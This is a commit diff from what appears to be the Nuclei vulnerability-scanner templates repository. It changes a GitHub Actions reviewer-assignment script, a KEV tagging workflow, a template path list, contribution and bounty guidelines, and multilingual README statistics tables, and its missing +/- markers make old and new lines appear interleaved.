- uses: actions/github-script@v8
|
||||
- uses: actions/checkout@v5 # checkout the repository content
|
||||
- uses: actions/setup-python@v6
|
||||
with:
|
||||
script: |
|
||||
const ORG = context.repo.owner;
|
||||
const REPO = context.repo.repo;
|
||||
|
||||
// ======= CONFIG: put your user pools here =======
|
||||
// Usernames must be GitHub logins and collaborators on this repo.
|
||||
const ISSUE_ASSIGNEES = [
|
||||
"princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
|
||||
];
|
||||
const REVIEW_POOL = [
|
||||
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
|
||||
];
|
||||
const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
|
||||
// ================================================
|
||||
|
||||
function toLowerAll(xs){ return xs.map(x => x.toLowerCase()); }
|
||||
const issuePool = new Set(toLowerAll(ISSUE_ASSIGNEES));
|
||||
const reviewPool = new Set(toLowerAll(REVIEW_POOL));
|
||||
const sinceISO = new Date(Date.now() - LOOKBACK_DAYS*24*60*60*1000).toISOString();
|
||||
|
||||
// Simple "least recent then fewest in lookback" picker
|
||||
function initMap(arr){ const m=new Map(); for(const a of arr) m.set(a,0); return m; }
|
||||
const issueCounts = initMap(issuePool);
|
||||
const prAssigneeCounts = initMap(reviewPool);
|
||||
const prReviewerCounts = initMap(reviewPool);
|
||||
const lastIssueAssign = new Map();
|
||||
const lastPrAssignee = new Map();
|
||||
const lastPrReviewer = new Map();
|
||||
|
||||
function pick(countsMap, lastMap, exclude=new Set()){
|
||||
const cands = [...countsMap.keys()].filter(x => !exclude.has(x));
|
||||
if (!cands.length) return null;
|
||||
cands.sort((a,b)=>{
|
||||
const ca=countsMap.get(a)||0, cb=countsMap.get(b)||0;
|
||||
if (ca!==cb) return ca-cb;
|
||||
const ta=lastMap.get(a)?.getTime()||0, tb=lastMap.get(b)?.getTime()||0;
|
||||
if (ta!==tb) return ta-tb;
|
||||
return a.localeCompare(b);
|
||||
});
|
||||
return cands[0];
|
||||
}
|
||||
|
||||
async function buildIssueStats(){
|
||||
for await (const page of github.paginate.iterator(
|
||||
github.rest.issues.listForRepo,
|
||||
{ owner: ORG, repo: REPO, state: 'all', since: sinceISO, per_page: 100 }
|
||||
)){
|
||||
for (const it of page.data){
|
||||
if (it.pull_request) continue;
|
||||
const ts = new Date(it.created_at);
|
||||
if (ts < new Date(sinceISO)) continue;
|
||||
for (const a of (it.assignees||[])){
|
||||
const l=a.login.toLowerCase();
|
||||
if (issuePool.has(l)){
|
||||
issueCounts.set(l,(issueCounts.get(l)||0)+1);
|
||||
const lastTs = lastIssueAssign.get(l);
|
||||
if (!lastTs || ts > lastTs) lastIssueAssign.set(l, ts);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function buildPrStats(){
|
||||
for await (const page of github.paginate.iterator(
|
||||
github.rest.pulls.list,
|
||||
{ owner: ORG, repo: REPO, state: 'all', per_page: 100 }
|
||||
)){
|
||||
for (const pr of page.data){
|
||||
const ts = new Date(pr.created_at);
|
||||
if (ts < new Date(sinceISO)) continue;
|
||||
// Count all assignees (plural)
|
||||
for (const a of (pr.assignees||[])){
|
||||
const l = a.login.toLowerCase();
|
||||
if (reviewPool.has(l)){
|
||||
prAssigneeCounts.set(l,(prAssigneeCounts.get(l)||0)+1);
|
||||
const lastTs = lastPrAssignee.get(l);
|
||||
if (!lastTs || ts > lastTs) lastPrAssignee.set(l, ts);
|
||||
}
|
||||
}
|
||||
// Count all reviewers separately
|
||||
for (const r of (pr.requested_reviewers||[])){
|
||||
const l=r.login.toLowerCase();
|
||||
if (reviewPool.has(l)){
|
||||
prReviewerCounts.set(l,(prReviewerCounts.get(l)||0)+1);
|
||||
const lastTs = lastPrReviewer.get(l);
|
||||
if (!lastTs || ts > lastTs) lastPrReviewer.set(l, ts);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Build stats once per run (cheap enough for small repos)
|
||||
await Promise.all([buildIssueStats(), buildPrStats()]);
|
||||
|
||||
// Determine context
|
||||
if (context.eventName === 'issues') {
|
||||
const issue = context.payload.issue;
|
||||
if (issue.pull_request) return; // guard
|
||||
if ((issue.assignees||[]).length>0) return;
|
||||
|
||||
const pickee = pick(issueCounts, lastIssueAssign);
|
||||
if (!pickee) return;
|
||||
|
||||
await github.rest.issues.addAssignees({
|
||||
owner: ORG, repo: REPO, issue_number: issue.number, assignees: [pickee]
|
||||
});
|
||||
|
||||
} else if (context.eventName === 'pull_request_target') {
|
||||
const pr = context.payload.pull_request;
|
||||
const prNum = pr.number;
|
||||
|
||||
const author = (pr.user?.login||"").toLowerCase();
|
||||
const assignee = pr.assignee?.login?.toLowerCase();
|
||||
|
||||
// Ensure one assignee (use assignee counts only)
|
||||
let finalAssignee = assignee;
|
||||
if (!finalAssignee) {
|
||||
const a = pick(prAssigneeCounts, lastPrAssignee, new Set([author]));
|
||||
if (a) {
|
||||
await github.rest.issues.addAssignees({
|
||||
owner: ORG, repo: REPO, issue_number: prNum, assignees: [a]
|
||||
});
|
||||
finalAssignee = a;
|
||||
}
|
||||
}
|
||||
|
||||
// One reviewer, not the author, not the assignee (use reviewer counts only)
|
||||
const already = new Set((pr.requested_reviewers||[]).map(x=>x.login.toLowerCase()));
|
||||
if (already.size === 0 && !pr.draft) {
|
||||
const exclude = new Set([author, finalAssignee].filter(Boolean));
|
||||
const reviewer = pick(prReviewerCounts, lastPrReviewer, exclude);
|
||||
if (reviewer) {
|
||||
await github.rest.pulls.requestReviewers({
|
||||
owner: ORG, repo: REPO, pull_number: prNum, reviewers: [reviewer]
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
python-version: '3.10' # install the python version needed
|
||||
- run: pip install requests
|
||||
# - if: github.event_name == 'pull_request'
|
||||
# run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
|
||||
- if: github.event_name == 'issues'
|
||||
run: python .github/scripts/assign_tasks.py ${{ github.event.issue.number }} issue ${{ secrets.GITHUB_TOKEN }}
|
||||
@@ -1,4 +1,4 @@
|
||||
name: 📋 KEV & vKEV Tag Update
|
||||
name: 📋 KEV Tag Update
|
||||
|
||||
on:
|
||||
schedule:
|
||||
@@ -23,10 +23,10 @@ jobs:
|
||||
run: |
|
||||
pip install requests pyyaml
|
||||
|
||||
- name: Update KEV and vKEV tags
|
||||
- name: Update KEV tags
|
||||
run: python .github/scripts/update-kev.py
|
||||
env:
|
||||
# VulnCheck API key for enhanced vKEV data
|
||||
# Optional: Add VulnCheck API key if available
|
||||
VULNCHECK_API_KEY: ${{ secrets.VULNCHECK_API_KEY }}
|
||||
|
||||
- name: Check for changes
|
||||
@@ -47,7 +47,7 @@ jobs:
|
||||
uses: projectdiscovery/actions/commit@v1
|
||||
with:
|
||||
files: '**/cves/**/*.yaml'
|
||||
message: 'chore: update KEV and vKEV tags and metadata 🤖'
|
||||
message: 'chore: update KEV tags and metadata 🤖'
|
||||
|
||||
- name: Push changes
|
||||
if: steps.changes.outputs.changes == 'true'
|
||||
|
||||
@@ -2,7 +2,7 @@ name: 📝 Readme Update
|
||||
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["🗒 Templates Stats", "📋 KEV & vKEV Tag Update"]
|
||||
workflows: ["🗒 Templates Stats"]
|
||||
types:
|
||||
- completed
|
||||
workflow_dispatch:
|
||||
|
||||
@@ -43,7 +43,7 @@ jobs:
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: '1.24'
|
||||
go-version: '1.21'
|
||||
|
||||
- name: Install Nuclei
|
||||
run: |
|
||||
|
||||
+28
-52
@@ -1,52 +1,28 @@
|
||||
dast/vulnerabilities/xss/csp-bypass/jquery-cdn-csp-bypass.yaml
|
||||
file/malware/shai-hulud-supply-chain.yaml
|
||||
headless/cves/2025/CVE-2025-7901.yaml
|
||||
http/cves/2017/CVE-2017-14725.yaml
|
||||
http/cves/2017/CVE-2017-17092.yaml
|
||||
http/cves/2017/CVE-2017-5983.yaml
|
||||
http/cves/2018/CVE-2018-13317.yaml
|
||||
http/cves/2019/CVE-2019-19822.yaml
|
||||
http/cves/2019/CVE-2019-19823.yaml
|
||||
http/cves/2019/CVE-2019-19825.yaml
|
||||
http/cves/2021/CVE-2021-34427.yaml
|
||||
http/cves/2022/CVE-2022-29081.yaml
|
||||
http/cves/2023/CVE-2021-4449.yaml
|
||||
http/cves/2024/CVE-2024-20404.yaml
|
||||
http/cves/2024/CVE-2024-53995.yaml
|
||||
http/cves/2025/CVE-2025-11700.yaml
|
||||
http/cves/2025/CVE-2025-11833.yaml
|
||||
http/cves/2025/CVE-2025-12055.yaml
|
||||
http/cves/2025/CVE-2025-27915.yaml
|
||||
http/cves/2025/CVE-2025-49706.yaml
|
||||
http/cves/2025/CVE-2025-55523.yaml
|
||||
http/cves/2025/CVE-2025-61757.yaml
|
||||
http/cves/2025/CVE-2025-64525.yaml
|
||||
http/cves/2025/CVE-2025-64764.yaml
|
||||
http/cves/2025/CVE-2025-9316.yaml
|
||||
http/default-logins/traggo-default-login.yaml
|
||||
http/default-logins/vtigercrm-default-login.yaml
|
||||
http/exposures/files/vtigercrm-data-exposed.yaml
|
||||
http/miscellaneous/crypto-address-detect.yaml
|
||||
http/misconfiguration/aem/aem-anonymous-write.yaml
|
||||
http/misconfiguration/microsoft/sharepoint-layouts-disclosure.yaml
|
||||
http/misconfiguration/microsoft/sharepoint-masterpage-disclosure.yaml
|
||||
http/misconfiguration/microsoft/sharepoint-site-metadata-disclosure.yaml
|
||||
http/misconfiguration/microsoft/sharepoint-sitepages-disclosure.yaml
|
||||
http/misconfiguration/nginx/nginx-status-403-bypass.yaml
|
||||
http/misconfiguration/unauth-akhq-dashboard.yaml
|
||||
http/misconfiguration/unauth-hawkeye-dashboard.yaml
|
||||
http/misconfiguration/unauth-kafka-config-editor.yaml
|
||||
http/technologies/agent-zero-detect.yaml
|
||||
http/technologies/cisco-finesse-detect.yaml
|
||||
http/technologies/microsoft/sharepoint-web-services-discovery.yaml
|
||||
http/technologies/nostromo-detect.yaml
|
||||
http/technologies/odoo-detect.yaml
|
||||
http/technologies/traggo-server-detect.yaml
|
||||
http/technologies/vtigercrm-detect.yaml
|
||||
http/technologies/winstone-detect.yaml
|
||||
http/vulnerabilities/wordpress/wp-security-hidden-login-exposure.yaml
|
||||
http/vulnerabilities/wordpress/wp-twenty-theme-fpd.yaml
|
||||
http/vulnerabilities/wordpress/wp-twentysixteen-fpd.yaml
|
||||
http/vulnerabilities/wordpress/wp-twentytwenty-fpd.yaml
|
||||
http/vulnerabilities/wp-functions-php-disclosure.yaml
|
||||
http/vulnerabilities/yonyou/yonyou-u9-patchfile-upload.yaml
|
||||
headless/cves/2025/CVE-2025-50738.yaml
|
||||
http/cves/2019/CVE-2019-7195.yaml
|
||||
http/cves/2020/CVE-2020-36836.yaml
|
||||
http/cves/2024/CVE-2024-11972.yaml
|
||||
http/cves/2024/CVE-2024-29028.yaml
|
||||
http/cves/2024/CVE-2024-29029.yaml
|
||||
http/cves/2024/CVE-2024-51568.yaml
|
||||
http/cves/2025/CVE-2025-23061.yaml
|
||||
http/cves/2025/CVE-2025-3515.yaml
|
||||
http/cves/2025/CVE-2025-53118.yaml
|
||||
http/cves/2025/CVE-2025-57822.yaml
|
||||
http/exposures/configs/n8n-config.yaml
|
||||
http/global-matchers/global-waf-detect.yaml
|
||||
http/misconfiguration/missing-cookie-samesite-strict.yaml
|
||||
http/takeovers/framer-takeover.yaml
|
||||
http/technologies/dkron-detect.yaml
|
||||
http/technologies/hugegraph-studio-detect.yaml
|
||||
http/vulnerabilities/other/dkron-unauth-rce.yaml
|
||||
javascript/detection/pigeonhole-sieve-detect.yaml
|
||||
javascript/misconfiguration/netstat-service-expose.yaml
|
||||
javascript/udp/detection/zeroconf-detect.yaml
|
||||
javascript/udp/misconfiguration/snmpv1-community-detect-string.yaml
|
||||
network/detection/direct-connect-detect.yaml
|
||||
network/detection/ftp-detect.yaml
|
||||
network/detection/sap-dispatcher-detect.yaml
|
||||
network/detection/sap-router-detect.yaml
|
||||
vulnerabilities/iot/hikvision/hikvision-cam-info-exposure.yaml
|
||||
workflows/ftp-workflow.yaml
|
||||
+1
-1
@@ -21,7 +21,7 @@ This documentation contains a set of guidelines to help you during the contribut
|
||||
|
||||
- Take a look at the [Existing Templates](https://github.com/projectdiscovery/nuclei-templates) or search for endpoints before creating new one.
|
||||
- Take a look at Existing Templates in [GitHub Issues](https://github.com/projectdiscovery/nuclei-templates/issues) and [Pull Request](https://github.com/projectdiscovery/nuclei-templates/pulls) section to avoid duplicate work.
|
||||
- Take a look at [Templates](TEMPLATE-CREATION-GUIDE.md) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/How-to-Write-Unique-Matchers-in-Nuclei-Templates) Guideline for creating new template.
|
||||
- Take a look at [Templates](https://nuclei.projectdiscovery.io/templating-guide/) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers) Guideline for creating new template.
|
||||
|
||||
Along with the P.O.C following are the required fields in the info section for submitting new template.
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Nuclei Templates Bounty - FAQ
|
||||
# Nuclei Templates Community Rewards Program - FAQ
|
||||
|
||||
## What is the purpose of this bounty program?
|
||||
## What is the purpose of this rewards program?
|
||||
The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.
|
||||
|
||||
## What are the bounty ranges for template submissions?
|
||||
@@ -10,17 +10,12 @@ Bounties range from **$50 to $250**, depending on the complexity of the template
|
||||
Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)
|
||||
|
||||
## What is the acceptance criteria for templates?
|
||||
The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
|
||||
|
||||
Templates must meet the following criteria:
|
||||
1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
|
||||
2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
|
||||
3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
|
||||
4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
|
||||
5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
|
||||
6. **Accurate Matchers**: Use strong matchers to avoid false positives.
|
||||
|
||||
> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
|
||||
2. **Debug Data**: Include debug data to assist with template validation.
|
||||
3. **Validation Required**: The template will be reviewed and validated before rewards are given.
|
||||
4. **Accurate Matchers**: Use strong matchers to avoid false positives.
|
||||
> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined.
|
||||
|
||||
## How do I start working on a bounty issue?
|
||||
1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
|
||||
@@ -70,7 +65,7 @@ Templates may be rejected if they:
|
||||
Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).
|
||||
|
||||
## Is this program permanent?
|
||||
The bounty program is currently a test run, but we may make changes based on community feedback.
|
||||
The rewards program is currently a test run, but we may make changes based on community feedback.
|
||||
|
||||
## What additional rewards are available besides bounties?
|
||||
Beyond bounties, we also reward contributors with:
|
||||
@@ -1,4 +1,4 @@
|
||||
### PR Information
|
||||
### Template / PR Information
|
||||
|
||||
<!-- Explains the information and/or motivation for update or/ creating this templates -->
|
||||
<!-- Please include any reference to your template if available -->
|
||||
@@ -6,17 +6,17 @@
|
||||
- Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX
|
||||
- References:
|
||||
|
||||
### Template validation
|
||||
### Template Validation
|
||||
|
||||
<!-- Clarifies if the valdation of the template was done on an actual system for which the template was developed -->
|
||||
<!-- If this concerns a vulnerability check, please clarify if validation was done on a known vulnerable system and optionally on a known not vulnerable system to avoid false positives -->
|
||||
I've validated this template locally?
|
||||
- [ ] YES
|
||||
- [ ] NO
|
||||
|
||||
- [ ] Validated with a host running a vulnerable version and/or configuration (True Positive)
|
||||
- [ ] Validated with a host running a patched version and/or configuration (avoid False Positive)
|
||||
|
||||
#### Additional Details (leave it blank if not applicable)
|
||||
|
||||
<!-- Include `nuclei -debug` output along with Shodan / Fofa / Google Query / Docker or screenshots if available -->
|
||||
<!-- Include Shodan / Fofa / Google Query / Docker / Screenshots if available -->
|
||||
<!-- Include HTTP/TCP/DNS Matched response data snippet if available -->
|
||||
<!-- Please do NOT include vulnerable host information in pull requests -->
|
||||
<!-- None of the prerequisites are obligatory; they are merely intended to speed the review process. -->
|
||||
|
||||
@@ -25,4 +25,4 @@
|
||||
- [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
|
||||
- [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
|
||||
- [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/CONTRIBUTING.md)
|
||||
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
|
||||
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
|
||||
@@ -36,38 +36,24 @@ An overview of the nuclei template project, including statistics on unique tags,
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
|
||||
|
||||
Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
|
||||
|
||||
| **KEV Source** | **Templates** | **Description** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **454** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
|
||||
| 🟢 **Both Sources** | **407** | Templates covering vulnerabilities in both catalogs |
|
||||
|
||||
> 💡 **Total unique KEV templates: 1496** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
|
||||
|
||||
---
|
||||
<td>
|
||||
|
||||
## Nuclei Templates Top 10 statistics
|
||||
|
||||
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|
||||
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
|
||||
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
|
||||
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
|
||||
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
|
||||
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
|
||||
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
|
||||
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
|
||||
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
|
||||
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
|
||||
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
|
||||
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
|
||||
| cve | 3288 | dhiyaneshdk | 1882 | http | 8967 | info | 4190 | file | 435 |
|
||||
| panel | 1342 | daffainfo | 868 | cloud | 657 | high | 2446 | dns | 26 |
|
||||
| xss | 1257 | princechaddha | 854 | file | 435 | medium | 2379 | | |
|
||||
| wordpress | 1181 | dwisiswant0 | 806 | dast | 255 | critical | 1425 | | |
|
||||
| exposure | 1107 | ritikchaddha | 649 | workflows | 202 | low | 318 | | |
|
||||
| wp-plugin | 1032 | pussycat0x | 532 | code | 198 | unknown | 56 | | |
|
||||
| osint | 841 | pikpikcu | 352 | network | 145 | | | | |
|
||||
| tech | 803 | pdteam | 310 | javascript | 71 | | | | |
|
||||
| rce | 786 | pdresearch | 269 | ssl | 38 | | | | |
|
||||
| lfi | 777 | iamnoooob | 257 | dns | 23 | | | | |
|
||||
|
||||
**873 directories, 11997 files**.
|
||||
**848 directories, 11344 files**.
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
+13
-27
@@ -42,38 +42,24 @@ Nuclei 模板
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
<td>
|
||||
|
||||
### 🚨 已知被利用漏洞 (KEV) 覆盖范围
|
||||
|
||||
Nuclei 模板为野外被积极利用的漏洞提供覆盖:
|
||||
|
||||
| **KEV 来源** | **模板数量** | **描述** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **454** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
|
||||
| 🟢 **两个来源** | **407** | 覆盖两个目录中漏洞的模板 |
|
||||
|
||||
> 💡 **唯一 KEV 模板总数: 1496** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
|
||||
|
||||
---
|
||||
|
||||
## Nuclei Templates Top 10 statistics
|
||||
## Nuclei模板TOP10统计信息
|
||||
|
||||
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|
||||
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
|
||||
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
|
||||
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
|
||||
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
|
||||
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
|
||||
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
|
||||
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
|
||||
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
|
||||
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
|
||||
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
|
||||
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
|
||||
| cve | 2877 | dhiyaneshdk | 1477 | http | 8219 | info | 3948 | file | 404 |
|
||||
| panel | 1246 | daffainfo | 866 | file | 404 | high | 2135 | dns | 25 |
|
||||
| wordpress | 1072 | dwisiswant0 | 803 | cloud | 370 | medium | 1840 | | |
|
||||
| exposure | 1006 | princechaddha | 570 | workflows | 192 | critical | 1197 | | |
|
||||
| xss | 987 | ritikchaddha | 496 | code | 157 | low | 287 | | |
|
||||
| wp-plugin | 936 | pussycat0x | 453 | network | 138 | unknown | 43 | | |
|
||||
| osint | 807 | pikpikcu | 353 | javascript | 65 | | | | |
|
||||
| tech | 745 | pdteam | 302 | ssl | 30 | | | | |
|
||||
| lfi | 727 | ricardomaia | 245 | dast | 26 | | | | |
|
||||
| misconfig | 720 | geeknik | 231 | dns | 22 | | | | |
|
||||
|
||||
**873 directories, 11997 files**.
|
||||
**743 directories, 9960 files**.
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
+15
-29
@@ -37,38 +37,24 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
<td>
|
||||
|
||||
### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
|
||||
## Nuclei テンプレート トップ10統計
|
||||
|
||||
Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
|
||||
| タグ | 数 | 著者 | 数 | ディレクトリ | 数 | 重大度 | 数 | 種類 | 数 |
|
||||
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
|
||||
| cve | 1325 | daffainfo | 629 | cves | 1306 | info | 1398 | http | 3644 |
|
||||
| panel | 604 | dhiyaneshdk | 509 | exposed-panels | 613 | high | 955 | file | 76 |
|
||||
| lfi | 490 | pikpikcu | 322 | vulnerabilities | 506 | medium | 784 | network | 50 |
|
||||
| xss | 451 | pdteam | 269 | technologies | 273 | critical | 445 | dns | 17 |
|
||||
| wordpress | 409 | geeknik | 187 | exposures | 254 | low | 211 | | |
|
||||
| exposure | 360 | dwisiswant0 | 169 | token-spray | 230 | unknown | 7 | | |
|
||||
| cve2021 | 324 | 0x_akoko | 157 | misconfiguration | 210 | | | | |
|
||||
| rce | 319 | princechaddha | 149 | workflows | 187 | | | | |
|
||||
| wp-plugin | 304 | pussycat0x | 130 | default-logins | 102 | | | | |
|
||||
| tech | 286 | gy741 | 126 | file | 76 | | | | |
|
||||
|
||||
| **KEV ソース** | **テンプレート数** | **説明** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **454** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
|
||||
| 🟢 **両方のソース** | **407** | 両方のカタログの脆弱性をカバーするテンプレート |
|
||||
|
||||
> 💡 **ユニークKEVテンプレート総数: 1496** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
|
||||
|
||||
---
|
||||
|
||||
## Nuclei Templates Top 10 statistics
|
||||
|
||||
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|
||||
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
|
||||
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
|
||||
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
|
||||
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
|
||||
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
|
||||
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
|
||||
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
|
||||
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
|
||||
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
|
||||
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
|
||||
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
|
||||
|
||||
**873 directories, 11997 files**.
|
||||
**286個のディレクトリ、4012個のファイル**。
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
+15
-29
@@ -39,38 +39,24 @@ Nuclei 템플릿
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
<td>
|
||||
|
||||
### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
|
||||
## Nuclei 템플릿 통계 Top 10
|
||||
|
||||
Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
|
||||
| 태그 | 개수 | 작성자 | 개수 | 디렉토리 | 개수 | 심각도 | 개수 | 종류 | 개수 |
|
||||
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
|
||||
| cve | 1325 | daffainfo | 629 | cves | 1306 | info | 1398 | http | 3644 |
|
||||
| panel | 604 | dhiyaneshdk | 509 | exposed-panels | 613 | high | 955 | file | 76 |
|
||||
| lfi | 490 | pikpikcu | 322 | vulnerabilities | 506 | medium | 784 | network | 50 |
|
||||
| xss | 451 | pdteam | 269 | technologies | 273 | critical | 445 | dns | 17 |
|
||||
| wordpress | 409 | geeknik | 187 | exposures | 254 | low | 211 | | |
|
||||
| exposure | 360 | dwisiswant0 | 169 | token-spray | 230 | unknown | 7 | | |
|
||||
| cve2021 | 324 | 0x_akoko | 157 | misconfiguration | 210 | | | | |
|
||||
| rce | 319 | princechaddha | 149 | workflows | 187 | | | | |
|
||||
| wp-plugin | 304 | pussycat0x | 130 | default-logins | 102 | | | | |
|
||||
| tech | 286 | gy741 | 126 | file | 76 | | | | |
|
||||
|
||||
| **KEV 소스** | **템플릿 수** | **설명** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **454** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
|
||||
| 🟢 **두 소스 모두** | **407** | 두 카탈로그의 취약점을 포함하는 템플릿 |
|
||||
|
||||
> 💡 **총 고유 KEV 템플릿: 1496** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
|
||||
|
||||
---
|
||||
|
||||
## Nuclei Templates Top 10 statistics
|
||||
|
||||
